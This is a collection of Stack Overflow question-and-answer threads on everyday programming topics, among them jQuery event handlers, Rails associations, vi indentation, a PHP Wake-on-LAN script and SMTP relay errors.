A: There are a few libraries available such as:
*
*https://github.com/pakerfeldt/android-viewflow
*https://github.com/fry15/uk.co.jasonfry.android.tools
To see more download the following app from the Google play store:
"Android UI Patterns" this app has a lot of examples and you can see them first before implementing.
Also take a look at the GreenDroid also they have a showcase app in Google Play
A: 3 years late, but here's a really good library called AndroidImageSlider. Uses Picasso along with NineOldAndroids.
Preview:
A: I like this one: image-chooser-library. It very versatile and easy to use.
A: Another library is Fresco. It is much more maintained as the other projects and it is much more flexible. For example, you can show drawable generated in memory.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592278",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "19"
}
|
Q: Put HTML in View of Server-side MVC or just echo back response I'm implementing Codeigniter on the server, should I use the view to generate the view or should i just echo back the response back to the browser when it's at the model phase.
Is the 'view' of CI's MVC just for 'displaying' content?
Can you still apply javascript to them to create and objects/view pattern (I'm using backbone.js to do this)
A: The model should only be used for talking with your data store. The whole purpose of using an MVC framework is to create different well defined layers of functionality. The view should contain all the display related stuff which can also include javascript. You can technically send data back to the browser at any layer but that just defeats the purpose of using CI.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592281",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: VB - How to obtain category color for Outlook AppointmentItem First time here...
I'm editing OlCalndr.dot macros (import Outlook Calendar info into Word) and trying to grab the category color for each appointment.
I have the AppointmentItem object, and appt.Categories will return a String of the categories this appointment has. However, I can't figure out how to get the category color.
Grateful for any help...
cheers,
David
A: You have to manually look up the category name into the categories catalog from the Namespace.
*
*Obtain the string of categories from the AppointmentItem.Categories
*Split (on ','). Find the first Name.
*Obtain the full collection of available categories from Application.Session.Categories
*Enumerate through the categories until you find the one with the name from step (2).
*This category will have a Color (from the olCategoryColor enumeration).
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592282",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: What is the best route to create an interactive map-based website? An example of what I would want to do is allow a user to set a start and end point on a map, get directions, show various routes between the two points, and store this route in a MySQL database using PHP. Does anyone have advice on the best way to go about doing this?
A: Google Maps API 3 will do all this for you. You want to create a map and assign it an event listener so when the user clicks on the map, you draw either the start marker (if first click), end marker (if second click) (and presumably nothing else for subsequent clicks). You would then pass the latlng coordinates of both markers to the DirectionsService which will draw the directions and give you them in written form too. You can set the provideRouteAlternatives parameter to true to get alternative routes.
Then how you store that in the DB is up to you, perhaps saving the waypoints[] array.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592283",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Bugs with jquery.live()? Can anyone explain to me what's going on?
http://jsfiddle.net/K5yvp/2/
So the way to "achieve" the bugs is :
*
*Click Show Parent or Show Parent 2
*Click Next to alert
*Click Hide to hide (I even remove the contents with html(''))
*Click Show Parent or Show Parent 2 again
*Click Next
*Bam! Two alerts occur!
*Repeat for more and more alerts to occur
I know the codes I wrote in fiddle is no good, since it's just a simplified version of the problem I found out yesterday. So basically what I meant to do is :
*
*Show Parent and Show Parent 2 are actually a button to call AJAX to show contents of albums (can be more than 2 of course)
*The < p class="next">Next < /p> is the representation of the data returned from the AJAX request.
*Each of this data can be clicked to do something along with the data returned from the AJAX. On this fiddle, I simply alert 'aaa ' with the title of the Show Parent/ Show Parent 2 (supposed to be "albums"). That's why I include the jquery click event INSIDE the show click event since I need the data passed by the AJAX which is requested inside the show click event (hope this is clear enough)
I've tried some ways to solve this but it's still quite bugging me that my codes are generating bugs(?) . Some of them are :
*
*Change $('.parent').html(''); to $('.parent').remove(); but of course the div class parent will be gone and I will have to recreate it which is not what I want. Maybe I can do $('.parent *').remove(); to remove all elements inside the parent div, but it's the last resort for me. It's a confusing one since firebug only shows one instance of the < p class="next"> exists at one time.
*Move the next click event outside the show click event. The show click event will store the data returned by AJAX request in a certain div, and the next click event will get the data from this div. A workaround but is there a better way?
Hope this is clear enough. Thanks!
A: The error may lie in your understanding of live. Live does not run once, and attach a handler to every element it finds. Rather, it allows you to attach handlers to elements that may not exist yet.
So every time this line is hit in your fiddle: $('.next').live('click',function(){, you're installing another handler to every object with class next that ever exists, even if that object hasn't yet been created.
A: var title
$('.show').live('click',function(){
title = $(this).attr('title');
$('<p class="next" />').text('next').appendTo($('.parent'));
$('<p class="hide" />').text('hide').appendTo($('.parent'));
$('.parent').fadeIn(500,function(){
});
});
$('.hide').live('click',function(){
$('.parent').empty();
});
$('.next').live('click',function(){
alert('aaa '+title);
return false;
});
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592288",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: problem setting up multidimensional array and using .push() I'm trying to setup a multidimensional array where I can push value into it where it needs to.
For example, I have a cacheArray = new Array(col0Array, col1Array, col2Array); which would accessible using cacheArray[0] etc...
Now, in a loop I would check cacheArray[column_number].length, which would be the length of whichever colArray. Depending on that I want to cacheArray[column_number].push("my_class");
My intention is to add the css class name to the sub column arrays, and check the previous value in the sub array for that column so I can get a checkered colour effect. But pushing like I did gives me an error: cacheArray[column_number].push is not a function.
Any ideas on how to approach this problem?
A: It's not entirely clear how you initialize your data structure. This will initialize an array of three columns where each column is itself an array:
var cacheArray = [[], [], []];
You can then push values into each of those subarrays:
cacheArray[0].push("my_class");
cacheArray[0].push("his_class");
cacheArray[0].push("nobodys_class");
cacheArray[1].push("their_class");
cacheArray[2].push("your_class");
That would result in this data structure for cacheArray:
[["my_class", "his_class", "nobodys_class"], ["their_class"], ["your_class"]];
In a modern browser, you can see it work here: http://jsfiddle.net/jfriend00/f9hy4/. I say modern browser just because the sample code requires JSON.stringify() to visualize the results.
A: Maybe I am missing something but if you are initialising a multi (as opposed to a two) dimensional array, then cacheArray[column_number].push would not exist as a function because you are only providing one of the dimensions.
cacheArray[column_number].push("my_class") would work if you initialised a two dimensional array because you would be pushing on to the array that is at cacheArray[column_number]. Thus if column_number was 1, and this was the first item you had pushed cacheArray[1][0] would equal "my_class".
I can't help thinking there is an easier way to do this anyway, perhaps an array of objects which could hold the last and current values for each column?
A: You have declare your array cacheArray as single dimensional make it as two dimensional array by initialize it.
you are actually pushing a new value to the cacheArray[column_number][some_index] that is doesn't exits, this statement indicate that you are pushing a my_class in the index cacheArray[column_number][some_index] that is not present, that's why it gives error.
you may try this:
cacheArray = new Array(col0Array, col1Array, col2Array);
for(var i = 0, i = cacheArray.length; i++)
cacheArray[i] = new Array();
cacheArray[column_number].push("my_class");
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592291",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: Database not published with vb I put database in bin->debug and i also call from that folder using DataDirectory Business_Card_Database.accdb when i publish the project database not found error is occur I cannot find solution plz help me
note I also tried
1. System.IO.Path.GetFullPath
2. Application.StartupPath
3. System.IO.Directory.GetDirectories
Above all are not working to find database after published
I'm using
1. vb.net 2010 express edition
2. Access database 2010
Thank you
A: Did you just drop the file into the debug directory or did you include it as a resource? Any file you want to include with your project when it's published or deployed needs to be added as a resource. Right-click your project and choose "Properties." Find the "Resources" tab and click it. Make sure you're on the "Files" section (select that from the top row inside that tab page). Drag your database file into that window and it'll be included as a resource. You can reference it as My.Resources.Business_Card_Database when you need it in your code.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592298",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: rails associations for 2 tables with same columns I'm wondering...
(1) what should be the correct associations for 2 different tables both with 2 same columns
(2) how do i display the user list in views with for loop
So one table is called Attending and has 2 columns: Events & Users
Another table is called NotAttending and has 2 columns: Events & Users
class User < ActiveRecord::Base
has_many :attending
has_many :notattending
has_many :events, :through => :attending
has_many :events, :through => :notattending
end
class Event < ActiveRecord::Base
has_many :attending
has_many :notattending
has_many :users, :through => :attending
has_many :users, :through => :notattending
end
class Attending < ActiveRecord::Base
belongs_to :user
belongs_to :event
end
class Notattending < ActiveRecord::Base
belongs_to :user
belongs_to :event
end
How would I display the list of users for attending and notattending in the views? I get error undefined method users for nil:NilClass
<% for user in @attending.user %>
<%= user.name %></br>
<% end %>
Thanks!
A: ASIDE: why not combine Attending and Nonattending into one table with three columns, event, user, and is_attending (true if attending, false if not attending)?
But no matter, let's assume the data model is fixed...
You cannot use has_many :users twice. You could choose to make another method:
class User < ActiveRecord::Base
has_many :attending
has_many :notattending
def events
self.attending.map(&:events) + self.nonattending.map(&:events)
end
end
class Event < ActiveRecord::Base
has_many :attending
has_many :notattending
def users
self.attending.map(&:users) + self.nonattending.map(&:users)
end
end
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592299",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Managing threads in a ThreadPool I would like to know once the thread is done processing something, is it better to put the thread back or to discard the thread?
Does ThreadPool uses a Queue internally to store Threads and give it to process which requests a thread?
I looked at C# impl of thread, source code, hard to understand it. I d like to know if there is a easier implementation to understand how thread pool works and internal details.
A: If you want to know if you should put the thread back in the pool or discard it you need to know your use of the thread pool. For instance, is the cost of creating a new thread greater than managing it in the thread pool and it will be used in a timely manner, then keep it in the pool. But I wouldn't keep it in the pool if it won't be used for 5 days.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592302",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Custom Change Tracking implementation for Entity Framework 4.0/4.1 + WCF I try to create a custom change tracking mechanism for Entity Framework 4.1 in my project due to use of DTOs and WCF services.
I have 2 options when it comes to update situation
*
*I can simply send object's all fields to database as update, even though, not single data field has changed.(one database call may be redundant action)
*Get previous data from database and compare with with updated one and merge the changes and send to database. (minimum two database calls + merge operation cost)
What is the best approach to select when we think about performance and if second is the choice are there any tools,helpers to automatically merge changes for me ?
A: You can use your favorite proxy generation framework to get this job done. I designed a undo/redo and change tracking framework for MongoDB recently. I used mixins and created a wrapped up proxy-type for each entity type at run time. so whenever you fetch a document from mongodb it returns an instance of this proxy type.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592303",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Convert pseudo code to Python Just to be fully up front, this is regarding a homework, but this in itself is not the assignment. The assignment is using noise to create cool graphics. I have a bit of experience in Python but not enough to figure this simple thing out.
I'm having trouble generating a seeded-random [-1,1]. The pseudocode my teacher gave me is from Hugo Elias.
Pseudocode:
function Noise1(integer x, integer y)
n = x + y * 57
n = (n<<13) ^ n;
return ( 1.0 - ( (n * (n * n * 15731 + 789221) + 1376312589) & 7fffffff) / 1073741824.0);
end function
My attempt in Python:
def noise(x, y):
n = x + y * 57
n = (n<<5) ^ n;
return ( 1.0 - ( (n * (n * n * 15731 + 789221) + 1376312589) & 7fffffff) / 1073741824.0)
The problem is the & 7fffffff bit in return statement. First, I'm not sure what that operation is. Maybe a bit-shift? Second, I'm not sure how to do that operation in Python. I had just removed that part, but I am getting huge negative numbers, nowhere near a [-1,1]
A: The & symbol stands for bitwise AND
The ^ symbol stands for bitwise XOR
and the 7FFFFFFF is a HEX number.
In programming you can represent a hex number using 0x where 7FFFFFFF is 0x7FFFFFFF
Some further reading on hex numbers.
To do a binary AND in python you just use & 0x7FFFFFFF
see more here about bitwise operations in python
A: I replaced 7FFFFFFF with 0x7FFFFFFF in your existing code and tried plugging in some random values and all the answers which I got were in [-1, 1].
A:
The problem is the & 7fffffff bit in return statement. First, I'm not sure what that operation is. Maybe a bit-shift?
A bit mask. << is used for shifting. & is bitwise-AND. 7fffffff, interpreted as a hexadecimal number, is a quantity that, if re-written in binary, has 31 bits, all of which are 1. The effect is to select the low-order 31 bits of the value.
To tell Python that 7fffffff should be interpreted as a hexadecimal number, you must prefix it with 0x, hence 0x7fffffff.
Second, I'm not sure how to do that operation in Python.
The same way as in the pseudocode (i.e. with &).
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592305",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
}
|
Q: Java Bytes for AES Decryption I am trying to do brute force AES decryption using Java. The cypher text is 160 hex characters. I know the last half of the 128 bit AES encryption key (all 0s). How can I make a loop to test all the permutations of the first half in Java using byte arrays?
I hope that makes sense.
Thanks
A: 64 nested loops, each from 0 to 255. It will take a while to run ;-) I suggest you calculate or extrapolate exactly how long. You might get quite a surprise.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592306",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Grails: custom constraint error messages I have class like this
class Account{
AccType type ;
static constraints ={
type(nullable:false);
}
}
and in grails/i18n/message.properties I wrote:
account.type.null = Please filled in with account type
but it seems the error still :
Property [type] of class [class Account] cannot be null
How to change the error messages with my own message.
A: try
account.type.nullable=Nice message.....
See here.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592308",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: how to concatenate a field in linq to sql I would like to achieve the following sql query in Linq to SQL.
SELECT TOP dbo.SiteDept.SiteDeptId, dbo.Site.SiteName + ' / ' + dbo.Dept.DeptName AS SiteDeptName, dbo.SiteDept.SiteId, dbo.SiteDept.DeptId,
dbo.Dept.DeptName
FROM dbo.SiteDept INNER JOIN
dbo.Site ON dbo.SiteDept.SiteId = dbo.Site.SiteId INNER JOIN
dbo.Dept ON dbo.SiteDept.DeptId = dbo.Dept.DeptId
I have a Linq to SQL data context with both a site and Dept entity and a SiteDept Entity that associates departments to the sites.
I have also added in a custom field in the SiteDept partial class for the SiteDeptName.
I was thinking something along the following lines.
public IEnumerable<SiteDept> GetAllSiteDepts()
{
var dataContext = new AtomWebDataContext(_connectionString);
var allSiteDepts = from sd in dataContext.SiteDepts
join s in dataContext.Sites
on sd.SiteId equals s.SiteId
join d in dataContext.Depts
on sd.DeptId equals d.DeptId
select new SiteDept()
{
SiteDeptId = sd.SiteDeptId,
SiteId = sd.SiteId,
DeptId = sd.DeptId,
SiteDeptName = s.SiteName + "/" + d.DeptName
};
return allSiteDepts;
}
However I get a "Explicit construction of entity type 'GPSO.Repository.SiteDept' in query is not allowed."
Whats the best way to achieve what I want?
A: The problem is that SiteDept is one of your entities and it won't let you create one directly. The way to handle this is by setting up the relationships between the entities and having LINQ to SQL fetch them all, then use the property on the partial class to fill in the name you need.
public IEnumerable<SiteDept> GetAllSiteDepts()
{
var dataContext = new AtomWebDataContext(_connectionString);
var allSiteDepts = from sd in dataContext.SiteDepts
select s;
return allSiteDepts.ToList();
}
// Site and Dept are EntityRefs on SiteDept and Site, respectively
public partial class SiteDept
{
public string SiteDeptName
{
get { return this.SiteName + "/" + this.Site.Dept.Name; }
}
}
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592310",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: How to insert a block of white spaces starting at the cursor position in vi? Suppose I have the piece of text below with the cursor staying at the first A currently,
AAAA
BBB
CC
D
How can I add spaces in front of each line to make it like, and it would be great if the number of columns of spaces can be specified on-the-fly, e.g., two here.
AAAA
BBB
CC
D
I would imagine there is a way to do it quickly in visual mode, but any ideas?
Currently I'm copying the first column of text in visual mode twice, and replace the entire two column to spaces, which involves > 5 keystrokes, too cumbersome.
Constraint:
Sorry that I didn't state the question clearly and might create some confusions.
The target is only part of a larger file, so it would be great if the number of rows and columns starting from the first A can be specified.
Edit:
Thank both @DeepYellow and @Johnsyweb, apparently >} and >ap are all great tips that I was not aware of, and they both could be valid answers before I clarified on the specific requirement for the answer to my question, but in any case, @luser droog 's answer stands out as the only viable answer. Thank you everyone!
A: I would do like Nigu. Another solution is to use :normal:
*
*<S-v> to enter VISUAL-LINE mode
*3j or jjj or /D<CR> to select the lines
*:norm I<Space><Space>, the correct range ('<,'>) being inserted automatically
:normal is probably a bit overkill for this specific case but sometimes you may want to perform a bunch of complex operations on a range of lines.
A: I'd use :%s/^/ /
You could also specify a range of lines :10,15s/^/ /
Or a relative range :.,+5s/^/ /
Or use regular expressions for the locations :/A/,/D/>.
For copying code to paste on SO, I usually use sed from the terminal sed 's/^/ /' filename
Shortcut
I just learned a new trick for this. You enter visual mode v, select the region (with regular movement commands), then hit : which gives you this:
:'<,'>
ready for you to type just the command part of the above commands, the marks '< and '> being automatically set to the bounds of the visual selection.
To select and indent the current paragraph:
vip>
or
vip:>
followed by enter.
Edit:
As requested in the comments, you can also add spaces to the middle of a line using a regex quantifier \{n} on the any meta-character ..
:%s/^.\{14}/& /
This adds a space 14 chars from the left on each line. Of course % could be replaced by any of the above options for specifying the range of an ex command.
A: You can select the lines in visual mode, and type >. This assumes that you've set your tabs up to insert spaces, e.g.:
setl expandtab
setl shiftwidth=4
setl tabstop=4
(replace 4 with your preference in indentation)
If the lines form a paragraph, >ap in normal mode will shift the whole paragraph above and below the current position.
A: When on the first A, I'd go in block visual mode ctrl-v, select the lines you want to modify, press I (insert mode with capital i), and apply any changes I want for the first line. Leaving visual mode esc will apply all changes on the first line to all lines.
Probably not the most efficient on number of key-strokes, but gives you all the freedom you want before leaving visual mode. I don't like it when I have to specify by hand the line and column range in a regex command.
A: Let's assume you want to shift a block of code:
*
*setup the count of spaces used by each shift command, :set shiftwidth=1, default is 8.
*press Ctrl+v in appropriate place and move cursor up k or down j to select some area.
*press > to shift the block and . to repeat the action until desired position (if cursor is missed, turn back with h or b).
A: Another thing you could try is a macro. If you do not know already, you start a macro with q and select the register to save the macro... so to save your macro in register a you would type qa in normal mode.
At the bottom there should be something that says recording. Now just do your movement as you would like.
So in this case you wanted 2 spaces in front of every line, so with your cursor already at the beginning of the first line, go into insert mode, and hit space twice. Now hit escape to go to normal mode, then down to the next line, then to the beginning of that line, and press q. This ends and saves the macro
(so that it is all in one place, this is the full list of key combinations you would do, where <esc> is when you press the escape key, and <space> is where you hit the space bar: qai<space><space><esc>j0q This saves the macro in register a )
Now to play the macro back you do @ followed by the register you saved it in... so in this example @a. Now the second line will also have 2 spaces in front of them.
Macros can also run multiple times, so if I did 3@a the macro would run 3 times, and you would be done with this.
I like using macros for this like this because it is more intuitive to me, because I can do exactly what I want it to do, and just replay it multiple times.
A: I'd use >}.
Where...
*
*>: Shifts right and
*}: means until the end of the paragraph
Hope this helps.
A: *
*Ctrl + v (to enter in visual mode)
*Use the arrow keys to select the lines
*Shift + i (takes you to insert mode)
*Hit space keys or whatever you want to type in front of the selected lines.
*Save the changes (Use :w) and now you will see the changes in all the selected lines.
A: I was looking for similar solution, and use this variation
VG:norm[N]I
N = numbers of spaces to insert.
V=Crtl-V
*** Notice *** put space immediate after I.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592314",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "35"
}
|
Q: How do I check if a value currently exist in a while loop? Let's say I have this table in my database...
id | name | beginventory | sold | datesold
101 | rock | 100 | 5 | 2011-9-12
201 | paper | 50 | 10 | 2011-9-13
301 | pen | 30 | 20 | 2011-10-1
101 | rock | 100 | 10 | 2011-10-1
101 | rock | 100 | 10 | 2011-10-2
201 | paper | 50 | 15 | 2011-10-3
I want to display an output of...
name | current | sold | remaining | date sold
rock | 100 | 5 | 95 | 2011-9-12
paper | 50 | 10 | 40 | 2011-9-13
pen | 30 | 20 | 10 | 2011-10-1
rock | 95 | 10 | 85 | 2011-10-1
rock | 85 | 10 | 75 | 2011-10-2
paper | 40 | 15 | 25 | 2011-10-3
Here my script (doesn't work)
while($info = mysql_query($getinfo)){
$name = $info['name'].'<br />';
$beginventory = $info['beginventory'].'<br />';
$sold = $info['sold'].'<br />'
$remaining = $beginventory - $sold.'<br />';
$date = $info['datesold'].'<br />'
echo '<tr>';
echo '<td>'.$name.'</td>';
echo '<td>'.$current.'</td>';
echo '<td>'.$sold.'</td>';
echo '<td>'.$remaining.'</td>';
echo '<td>'.$date.'</td>';
echo '</tr>';
}
My question is how do I "tell" PHP in a while loop that if the "name" already exist, instead of using $beginventory to get $remaining it should use the previous $remaining to get the correct value for current.
I know it is easier if I stored the values in the database, this is my last option if I can't figure this out.
A: $left = array();
while($info = mysql_query($getinfo)){
if (!isset($left[$info['name']])) $left[$info['name']] = $info['beginventory'];
$name = $info['name'].'<br />';
$beginventory = $left[$info['name']].'<br />';
$sold = $info['sold'].'<br />'
$remaining = $beginventory - $sold.'<br />';
$date = $info['datesold'].'<br />'
echo '<tr>';
echo '<td>'.$name.'</td>';
echo '<td>'.$current.'</td>';
echo '<td>'.$sold.'</td>';
echo '<td>'.$remaining.'</td>';
echo '<td>'.$date.'</td>';
echo '</tr>';
$left[$info['name']] -= $info['sold'];
}
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592321",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: PHP error with :, I am trying to run this php code as a command line in applescript. here is the code
"/usr/bin/php -r '($mac = 'gg:a2:gg:gg:gg:e6'; $porttemp = '9'; $ip ='255.255.255.255';
$mac_bytes = explode(\":\", $mac);
$mac_addr = \"\";
for ($i=0; $i<6; $i++)
$mac_addr .= chr(hexdec($mac_bytes[$i]));
$packet = \"\";
for ($i=0; $i<6; $i++) /*6x 0xFF*/
$packet .= chr(255);
for ($i=0; $i<16; $i++) /*16x MAC address*/
$packet .= $mac_addr;
$port = $porttemp;
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, TRUE);
socket_sendto($sock, $packet, strlen($packet), 0, $ip, $port);
socket_close($sock);
)'"
The syntax checks out fine on the applescript editor and the script runs but it pops this error:
Result:
error "PHP Parse error: syntax error, unexpected ':' in Command line code on line 1" number 254
not sure what the issue is but is it the : in the mac address in the first line or the : later and also, I tried \":\" with the :`s but that did not work either. Any idea whats wrong?
A: Try something like this instead:
"/usr/bin/php -r '($mac = "gg:a2:gg:gg:gg:e6";
$porttemp = "9";
$ip ="255.255.255.255";
$mac_bytes = explode(":", $mac);
$mac_addr = "";
for ($i=0; $i<6; $i++)
$mac_addr .= chr(hexdec($mac_bytes[$i]));
$packet = "";
for ($i=0; $i<6; $i++) /*6x 0xFF*/
$packet .= chr(255);
for ($i=0; $i<16; $i++) /*16x MAC address*/
$packet .= $mac_addr;
$port = $porttemp;
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, TRUE);
socket_sendto($sock, $packet, strlen($packet), 0, $ip, $port);
socket_close($sock);
)'"
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592327",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: get value of group of checkboxes or radios So I am generating a form that is different depending on what the user has chosen. Because of this, I have no idea what is on the page (i.e. select, checkboxes, radio, textarea, text input).
I need a way to just see if a group of radios has been checked or not, essentially to return the value of those radios that are all in the same group. Currently I'm using this jquery each loop:
$("#formdiv input:radio").each(function(){
//random validation code here
}
The problem is that makes me go through every single radio button, when I just want to go through them by how they are grouped.
Additionally, I also need to get checkboxes by their group to get all of the checked values, but I need to know which ones are in the same checkbox group. My current each loop just returns all the checkboxes as individual things:
$("#formdiv input:checkbox").each(function(){
//random validation code here
}
Can anyone help me out?
Sample HTML:
<div class='formatdiv'>
year: <select name='year' class='required' id='validation3:select'>
<option value=''></option>
<option value='1992'>1992</option>
<option value='1993'>1993</option>
<option value='1994'>1994</option>
<option value='1995'>1995</option>
<option value='1996'>1996</option>
<option value='1997'>1997</option>
<option value='1999'>1999</option>
</select>
</div>
<div class='formatdiv'>
color: <input type='text' name='color' class='required' id='validation1:text' />
</div>
<div class='formatdiv'>
used: no <input type='radio' class='optional' id='novalidation4:radio' name='used' value='no' />
yes <input type='radio' class='optional' id='yesvalidation4:radio' name='used' value='yes' />
</div>
<div class='formatdiv'>
Checks: Check 1 <input type='checkbox' class='required' name='Checks' value='Check 1' />
check 2 <input type='checkbox' class='required' name='Checks' value='check 2' />
check 3 <input type='checkbox' class='required' name='Checks' value='check 3' />
</div>
A: As Matt pointed out, the answer can be found here:
jQuery and radio button groups
With some simple modification this should also work for checkboxes.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592332",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
}
|
Q: Jammit append query string to end of file on production Jammit does not append a query string to files in production environments after compiling all the assets.
This presents caching problems for me since my web server uses query strings to bust the cache.
How can I use jammit (or another tool) to properly uglify, concatenate, and append a query string?
A: Adding a response in case anyone else runs into this.
Jammit rewrites relative urls when concatenating css files. This is necessary because relative paths in css are relative to the file containing the path, so when css files are concatenated, these paths need to be rewritten. During this rewriting process Jammit seems to remove query params. To my understanding, to work around this you'll need to either 1) use absolute urls in your css files 2) patch Jammit.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592335",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: Creating animated progress bar in iOS I am trying to make a custom animated bar graph for an iPad application (i.e., bar height increases to set level when activated). I am quite new to iOS development and I just want to get feedback on how to approach this task.
I am trying to play around with the answer in this entry and I want to know if it's right that I'm starting from this point.
A: If you just want a solid bar, you can create a UIView of the size and placement that you need, set its background color, and add it to your view. This is decent coding, no shame in using a UIView to draw solid rectangles. :]
For more complicated graphics, you might want to create a custom subclass of UIView and override its drawRect message to do some custom drawing. For example:
- (void)drawRect:(CGRect)rect
{
CGContextRef context = UIGraphicsGetCurrentContext();
CGContextSetLineWidth(context, 4.0);
CGContextSetRGBStrokeColor(context, 1.0, 1.0, 0, 1.0); // opaque yellow
CGContextMoveToPoint(context, x1, y1); // for suitable definition of x1,y1, etc
CGContextAddLineToPoint(context, x2, y2);
CGContextStrokePath(context);
}
or whatever other CGContext* sort of drawing you might want to do (e.g. pie charts, line charts, etc).
To animate a bar that you create by adding a UIView with a background color, stick the following whenever the animation starts:
timer = [NSTimer scheduledTimerWithTimeInterval:0.1 target:self selector:@selector(onTimer:) userInfo:nil repeats:YES];
self.startTime = [NSDate date];
and then add the following message (note: the bar will grow upwards).
- (void) onTimer:(NSTimer*)firedTimer
{
float time = [self.startTime timeIntervalSinceNow] * -1;
if (time>kMaxTime)
{
[timer invalidate];
timer = nil;
time = kMaxTime;
}
int size = time * kPixelsPerSecond;
myBar.frame = CGRectMake(x, y - size, width, size);
}
A: idk about that link, but you can generate them from here http://preloaders.net/ that should give you a good base to make your own
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592340",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: Error while trying to send an email in asp.net I was trying to impliment an email option in my program..
The follwing exception was thrown
+$exception {"The server rejected one or more recipient addresses. The server response
was: 550 5.7.1 <"mail-id">... Relaying denied. IP name lookup failed [172.25.9.23]\r\n"}
System.Exception {System.Web.HttpException}
This is what i have done......
MailMessage objEmail = new MailMessage();
objEmail.To = txtTo.Text;
objEmail.From = txtFrom.Text;
objEmail.Cc = txtCC.Text;
objEmail.Subject = txtSubject.Text;
objEmail.Body = txtBody.Text; ;
objEmail.Priority = MailPriority.High;
WebMsgBox.Show("test");
SmtpMail.SmtpServer = "someserver.com";
MailAttachment attach = new MailAttachment(@"D:\email.txt");
objEmail.Attachments.Add(attach);
try
{
SmtpMail.Send(objEmail);
WebMsgBox.Show("Your Email has been sent sucessfully - Thank you");
}
catch (Exception exc)
{
WebMsgBox.Show("Send failure: " + exc.ToString());
}
A: Perhaps check that the server you are using to send with (smtp) has the sender machine IP whitelisted. I don't actually know how this is done but your infrastructure folks could help. Seems as though the smtp server has been secured somewhat.
A: When we try to send mail, there are lots of configuration settings have to be ok including some background things. (mailserver, antivirus, firewalls,routers, anti spyware etc…). Have you checked your SMTP server (services) is enabled or not ?
I am not sure 100% that below steps solve your problem, but you can check your SMTP server configurations by it :
*
*In the Control Panel >> Administrative Tools >> Internet Information Services.
*Open the node for your computer, right-click the Default SMTP Virtual Server node and choose Properties.
*In the Access tab, click Connection.
*Select Only the list below, click Add and add the IP 127.0.0.1. This restricts connections to just the local computer, i.e., localhost. Close the Connection dialog box.
*Click Relay and repeat Step 4 to allow only localhost to relay through this server.
For IIS7, you can do it by :
*
*Open IIS and select the node for your computer, double click on "SMTP Email" option at right side panel.
*You can set SMTP server and port details there.
In your firewall or router (or both), close incoming port 25. This is an important security measure that will prevent spammers from finding your SMTP server and using it to relay spam.
Hope this will solve your problem.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592346",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: How to keep track of fields on a web-app Take Facebook's reply-to-status as an example. When you replies to someone's status, does the script looks into the DOM of that status for the ID of that status, and send an Ajax to update the entry with that ID?
If that's the case, couldn't you just modify the ID and pollute the data
P.S. as a followup, I've seen a client-side MVC implementation, Backbone.js, that manage things like the above w/o the use of any ID, which I still haven't figured out how.
http://documentcloud.github.com/backbone/docs/backbone.html
Here is the source, the relevant code 'view' starts at last 1/4
A: It will still verify that it's a valid id on the server side, that you have permissions to follow up to that user's statuses, etc.
A: Yes you can, but keep in mind it's all session/friends list/permissions based too.
There are still checks involved on the server regarding "does user A have access to making a comment on user B's action". Assuming you type a bogus ID, it still needs to be verified you can post on the (spoofed) ID.
If you can, you just made a post on a completely separate topic which is now presumably out of context.
If you can't the post doesn't go through and no worries.
